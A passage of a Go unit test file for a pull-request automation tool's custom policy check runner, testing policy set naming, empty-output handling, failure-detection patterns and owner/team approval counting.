1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"security-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName:         \"compliance_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"compliance-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName:         \"audit_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"audit-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyOutputs: []string{\"Security check passed\"},\n\t\t\texpectedNames: []string{\"security_policy\"},\n\t\t},\n\t\t{\n\t\t\tdescription:       \"Empty output is preserved and marked as failed\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets: []valid.PolicySet{\n\t\t\t\t{\n\t\t\t\t\tName:         \"security_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"security-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName:         \"compliance_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"compliance-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyOutputs: []string{\"Security check passed\", \"\"},\n\t\t\texpectedNames: []string{\"security_policy\", \"compliance_policy\"},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tmockPolicyCheck := mocks.NewMockStepRunner()\n\t\t\tmockWorkingDir := mocks.NewMockWorkingDir()\n\t\t\tmockLocker := mocks.NewMockProjectLocker()\n\n\t\t\trunner := events.DefaultProjectCommandRunner{\n\t\t\t\tLocker:                mockLocker,\n\t\t\t\tLockURLGenerator:      mockURLGenerator{},\n\t\t\t\tPolicyCheckStepRunner: mockPolicyCheck,\n\t\t\t\tWorkingDir:            mockWorkingDir,\n\t\t\t\tWorkingDirLocker:      events.NewDefaultWorkingDirLocker(),\n\t\t\t}\n\n\t\t\trepoDir := t.TempDir()\n\t\t\tWhen(mockWorkingDir.GetWorkingDir(\n\t\t\t\tAny[models.Repo](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[string](),\n\t\t\t)).ThenReturn(repoDir, nil)\n\n\t\t\tWhen(mockLocker.TryLock(\n\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[models.User](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[models.Project](),\n\t\t\t\tAnyBool(),\n\t\t\t)).ThenReturn(&events.TryLockResponse{\n\t\t\t\tLockAcquired: true,\n\t\t\t\tLockKey:      \"lock-key\",\n\t\t\t}, nil)\n\n\t\t\t// Setup policy check steps - one step per policy output\n\t\t\tvar steps []valid.Step\n\t\t\tfor range c.policyOutputs {\n\t\t\t\tsteps = append(steps, valid.Step{\n\t\t\t\t\tStepName: \"policy_check\",\n\t\t\t\t})\n\t\t\t}\n\n\t\t\t// Setup mock to return outputs in sequence\n\t\t\t// Note: pegomock will return these in order for successive calls\n\t\t\tfor _, output := range c.policyOutputs {\n\t\t\t\tWhen(mockPolicyCheck.Run(\n\t\t\t\t\tAny[command.ProjectContext](),\n\t\t\t\t\tAny[[]string](),\n\t\t\t\t\tAny[string](),\n\t\t\t\t\tAny[map[string]string](),\n\t\t\t\t)).ThenReturn(output, nil)\n\t\t\t}\n\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:               logging.NewNoopLogger(t),\n\t\t\t\tWorkspace:         \"default\",\n\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\tCustomPolicyCheck: c.customPolicyCheck,\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tPolicySets: c.policySets,\n\t\t\t\t},\n\t\t\t\tSteps: steps,\n\t\t\t}\n\n\t\t\tres := runner.PolicyCheck(ctx)\n\n\t\t\tAssert(t, res.Error == nil, \"not expecting error: %v\", res.Error)\n\t\t\tAssert(t, res.PolicyCheckResults != nil, \"expecting policy check results\")\n\n\t\t\t// Verify that the policy set names match the configured names\n\t\t\tpolicyResults := res.PolicyCheckResults.PolicySetResults\n\t\t\tEquals(t, len(c.expectedNames), len(policyResults))\n\n\t\t\tfor i, expectedName := range c.expectedNames {\n\t\t\t\tEquals(t, expectedName, policyResults[i].PolicySetName)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that when custom policy check has configured policy sets but no outputs are generated,\n// it does NOT trigger \"unable to unmarshal conftest output\" error.\n// This test reproduces the bug where policySetResults remains nil when the outputs\n// array is empty, which would incorrectly trigger the nil check error.\nfunc TestDefaultProjectCommandRunner_CustomPolicyCheck_EmptyOutputsArray(t *testing.T) {\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tdescription       string\n\t\tcustomPolicyCheck bool\n\t\tpolicySets        []valid.PolicySet\n\t\tsteps             []valid.Step\n\t\texpectError       bool\n\t\texpectedErrorMsg  string\n\t}{\n\t\t{\n\t\t\tdescription:       \"Custom policy check with configured policy set but no steps (empty outputs array)\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets: []valid.PolicySet{\n\t\t\t\t{\n\t\t\t\t\tName:         \"test_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"test-user\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tsteps:            []valid.Step{}, // No steps - outputs array will be empty\n\t\t\texpectError:      true,           // Should error when policy sets configured but no results\n\t\t\texpectedErrorMsg: \"custom policy check produced no results despite configured policy sets\",\n\t\t},\n\t\t{\n\t\t\tdescription:       \"Custom policy check with no configured policy sets and no steps\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets:        []valid.PolicySet{}, // No policy sets configured\n\t\t\tsteps:             []valid.Step{},      // No steps\n\t\t\texpectError:       false,               // Should NOT error when no policy sets configured\n\t\t\texpectedErrorMsg:  \"\",\n\t\t},\n\t\t{\n\t\t\tdescription:       \"Non-custom (conftest) policy check with no steps\",\n\t\t\tcustomPolicyCheck: false,\n\t\t\tpolicySets:        []valid.PolicySet{},\n\t\t\tsteps:             []valid.Step{},\n\t\t\texpectError:       true,\n\t\t\texpectedErrorMsg:  \"unable to unmarshal conftest output\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tmockPolicyCheck := mocks.NewMockStepRunner()\n\t\t\tmockWorkingDir := mocks.NewMockWorkingDir()\n\t\t\tmockLocker := mocks.NewMockProjectLocker()\n\n\t\t\trunner := events.DefaultProjectCommandRunner{\n\t\t\t\tLocker:                mockLocker,\n\t\t\t\tLockURLGenerator:      mockURLGenerator{},\n\t\t\t\tPolicyCheckStepRunner: mockPolicyCheck,\n\t\t\t\tWorkingDir:            mockWorkingDir,\n\t\t\t\tWorkingDirLocker:      events.NewDefaultWorkingDirLocker(),\n\t\t\t}\n\n\t\t\trepoDir := t.TempDir()\n\t\t\tWhen(mockWorkingDir.GetWorkingDir(\n\t\t\t\tAny[models.Repo](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[string](),\n\t\t\t)).ThenReturn(repoDir, nil)\n\n\t\t\tWhen(mockLocker.TryLock(\n\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[models.User](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[models.Project](),\n\t\t\t\tAnyBool(),\n\t\t\t)).ThenReturn(&events.TryLockResponse{\n\t\t\t\tLockAcquired: true,\n\t\t\t\tLockKey:      \"lock-key\",\n\t\t\t\tUnlockFn:     func() error { return nil },\n\t\t\t}, nil)\n\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:               logging.NewNoopLogger(t),\n\t\t\t\tWorkspace:         \"default\",\n\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\tCustomPolicyCheck: c.customPolicyCheck,\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tPolicySets: c.policySets,\n\t\t\t\t},\n\t\t\t\tSteps: c.steps,\n\t\t\t}\n\n\t\t\tres := runner.PolicyCheck(ctx)\n\n\t\t\tif c.expectError {\n\t\t\t\tAssert(t, res.Error != nil, \"expecting error but got nil\")\n\t\t\t\tif c.expectedErrorMsg != \"\" {\n\t\t\t\t\tAssert(t, res.Error.Error() == c.expectedErrorMsg,\n\t\t\t\t\t\t\"expected error message '%s' but got '%s'\",\n\t\t\t\t\t\tc.expectedErrorMsg, res.Error.Error())\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tAssert(t, res.Error == nil, \"not expecting error but got: %v\", res.Error)\n\t\t\t\tAssert(t, res.PolicyCheckResults != nil, \"expecting policy check results\")\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test custom policy check failure detection logic (regex and FAIL prefix).\nfunc TestDefaultProjectCommandRunner_CustomPolicyCheckFailureDetection(t *testing.T) {\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tdescription    string\n\t\tpolicyOutput   string\n\t\texpectedPassed bool\n\t\texpectedOutput string\n\t}{\n\t\t{\n\t\t\tdescription:    \"Output with '1 failure' pattern should fail\",\n\t\t\tpolicyOutput:   \"Policy check found 1 failure in the code\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"Policy check found 1 failure in the code\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with '2 failures' pattern should fail\",\n\t\t\tpolicyOutput:   \"Found 2 failures in security scan\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"Found 2 failures in security scan\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with '10 failures' pattern should fail\",\n\t\t\tpolicyOutput:   \"Total: 10 failures detected\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"Total: 10 failures detected\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with JSON 'failures': [...] pattern should fail\",\n\t\t\tpolicyOutput:   `{\"result\": \"failures\": [{\"rule\": \"test\"}]}`,\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: `{\"result\": \"failures\": [{\"rule\": \"test\"}]}`,\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output starting with 'FAIL' prefix should fail\",\n\t\t\tpolicyOutput:   \"FAIL: Policy validation failed\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"FAIL: Policy validation failed\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output starting with 'FAIL' after whitespace should fail\",\n\t\t\tpolicyOutput:   \"  FAIL: Something went wrong\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"  FAIL: Something went wrong\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with 'FAIL' in middle should pass\",\n\t\t\tpolicyOutput:   \"The check did not FAIL completely\",\n\t\t\texpectedPassed: true,\n\t\t\texpectedOutput: \"The check did not FAIL completely\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with '0 failure' should pass (regex only matches 1-9)\",\n\t\t\tpolicyOutput:   \"Found 0 failure in the scan\",\n\t\t\texpectedPassed: true,\n\t\t\texpectedOutput: \"Found 0 failure in the scan\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with word 'failure' but not pattern should pass\",\n\t\t\tpolicyOutput:   \"This is a failure message but not a failure count\",\n\t\t\texpectedPassed: true,\n\t\t\texpectedOutput: \"This is a failure message but not a failure count\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with 'fail' word should pass (not matching pattern)\",\n\t\t\tpolicyOutput:   \"The test might fail if conditions are not met\",\n\t\t\texpectedPassed: true,\n\t\t\texpectedOutput: \"The test might fail if conditions are not met\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with 'failures' word but not JSON pattern should pass\",\n\t\t\tpolicyOutput:   \"Checking for potential failures in the system\",\n\t\t\texpectedPassed: true,\n\t\t\texpectedOutput: \"Checking for potential failures in the system\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with '99 failures' should fail\",\n\t\t\tpolicyOutput:   \"Detected 99 failures in compliance check\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"Detected 99 failures in compliance check\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Output with '100 failures' should fail\",\n\t\t\tpolicyOutput:   \"Total: 100 failures found\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"Total: 100 failures found\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Normal success output should pass\",\n\t\t\tpolicyOutput:   \"Policy check passed successfully\",\n\t\t\texpectedPassed: true,\n\t\t\texpectedOutput: \"Policy check passed successfully\",\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Empty output should fail (handled separately but included for completeness)\",\n\t\t\tpolicyOutput:   \"\",\n\t\t\texpectedPassed: false,\n\t\t\texpectedOutput: \"WARNING: Policy check produced no output. This may indicate a misconfiguration.\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tmockPolicyCheck := mocks.NewMockStepRunner()\n\t\t\tmockWorkingDir := mocks.NewMockWorkingDir()\n\t\t\tmockLocker := mocks.NewMockProjectLocker()\n\n\t\t\trunner := events.DefaultProjectCommandRunner{\n\t\t\t\tLocker:                mockLocker,\n\t\t\t\tLockURLGenerator:      mockURLGenerator{},\n\t\t\t\tPolicyCheckStepRunner: mockPolicyCheck,\n\t\t\t\tWorkingDir:            mockWorkingDir,\n\t\t\t\tWorkingDirLocker:      events.NewDefaultWorkingDirLocker(),\n\t\t\t}\n\n\t\t\trepoDir := t.TempDir()\n\t\t\tWhen(mockWorkingDir.GetWorkingDir(\n\t\t\t\tAny[models.Repo](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[string](),\n\t\t\t)).ThenReturn(repoDir, nil)\n\n\t\t\tWhen(mockLocker.TryLock(\n\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[models.User](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[models.Project](),\n\t\t\t\tAnyBool(),\n\t\t\t)).ThenReturn(&events.TryLockResponse{\n\t\t\t\tLockAcquired: true,\n\t\t\t\tLockKey:      \"lock-key\",\n\t\t\t}, nil)\n\n\t\t\t// Setup policy check step\n\t\t\tsteps := []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"policy_check\",\n\t\t\t\t},\n\t\t\t}\n\n\t\t\t// Setup mock to return the test output\n\t\t\tWhen(mockPolicyCheck.Run(\n\t\t\t\tAny[command.ProjectContext](),\n\t\t\t\tAny[[]string](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[map[string]string](),\n\t\t\t)).ThenReturn(c.policyOutput, nil)\n\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:               logging.NewNoopLogger(t),\n\t\t\t\tWorkspace:         \"default\",\n\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\tCustomPolicyCheck: true,\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:         \"test_policy\",\n\t\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\t\tUsers: []string{\"test-user\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tSteps: steps,\n\t\t\t}\n\n\t\t\tres := runner.PolicyCheck(ctx)\n\n\t\t\tAssert(t, res.Error == nil, \"not expecting error: %v\", res.Error)\n\t\t\tAssert(t, res.PolicyCheckResults != nil, \"expecting policy check results\")\n\n\t\t\t// Verify the result\n\t\t\tpolicyResults := res.PolicyCheckResults.PolicySetResults\n\t\t\tEquals(t, 1, len(policyResults))\n\t\t\tEquals(t, c.expectedPassed, policyResults[0].Passed)\n\t\t\tEquals(t, c.expectedOutput, policyResults[0].PolicyOutput)\n\t\t\tEquals(t, \"test_policy\", policyResults[0].PolicySetName)\n\t\t})\n\t}\n}\n\n// Test approve policies logic.\nfunc TestDefaultProjectCommandRunner_ApprovePolicies(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\n\t\tpolicySetCfg        valid.PolicySets\n\t\tpolicySetStatus     []models.PolicySetStatus\n\t\tuserTeams           []string // Teams the user is a member of\n\t\ttargetedPolicy      string   // Policy to target when running approvals\n\t\tclearPolicyApproval bool\n\n\t\texpOut     []models.PolicySetResult\n\t\texpFailure string\n\t\thasErr     bool\n\t}{\n\t\t{\n\t\t\tdescription: \"When user is not an owner at any level, approve policy fails.\",\n\t\t\thasErr:      true,\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\tUsers: []string{\"someotheruser1\"},\n\t\t\t\t},\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someotherteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: \"One or more policy sets require additional approval.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"When user is a top-level owner, increment approval count on all policies.\",\n\t\t\thasErr:      false,\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\tUsers: []string{testdata.User.Username},\n\t\t\t\t},\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: \"One or more policy sets require additional approval.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"When user is not a top-level owner, but an owner of a policy set, increment approval count only the policy set they are an owner of.\",\n\t\t\thasErr:      true,\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{testdata.User.Username},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: \"One or more policy sets require additional approval.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"When user is a top-level owner through membership, increment approval on all policies.\",\n\t\t\tuserTeams:   []string{\"someuserteam\"},\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t},\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"When user is not a top-level owner, but is an owner of one policy set through nembership, increment approval only the policy to which they are an owner.\",\n\t\t\thasErr:      true,\n\t\t\tuserTeams:   []string{\"someuserteam\"},\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: \"One or more policy sets require additional approval.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"Do not increment or error on passing or fully-approved policy sets.\",\n\t\t\tuserTeams:   []string{\"someuserteam\"},\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tApprovals:     2,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  2,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: ``,\n\t\t\thasErr:     false,\n\t\t},\n\t\t{\n\t\t\tdescription: \"Policies should not fail if they pass.\",\n\t\t\tuserTeams:   []string{\"someuserteam\"},\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        true,\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t\tPassed:        true,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: ``,\n\t\t\thasErr:     false,\n\t\t},\n\t\t{\n\t\t\tdescription:    \"Non-targeted failing policies should still trigger failure when a targeted policy is cleared.\",\n\t\t\tuserTeams:      []string{\"someuserteam\"},\n\t\t\ttargetedPolicy: \"policy1\",\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: `One or more policy sets require additional approval.`,\n\t\t\thasErr:     false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"Approval count should be zero if ClearPolicyApproval is set.\",\n\t\t\tuserTeams:           []string{\"someuserteam\"},\n\t\t\tclearPolicyApproval: true,\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: `One or more policy sets require additional approval.`,\n\t\t\thasErr:     false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"Approval count should not clear if user is not owner and ClearPolicyApproval is set.\",\n\t\t\tuserTeams:           []string{\"someuserteam\"},\n\t\t\tclearPolicyApproval: true,\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: 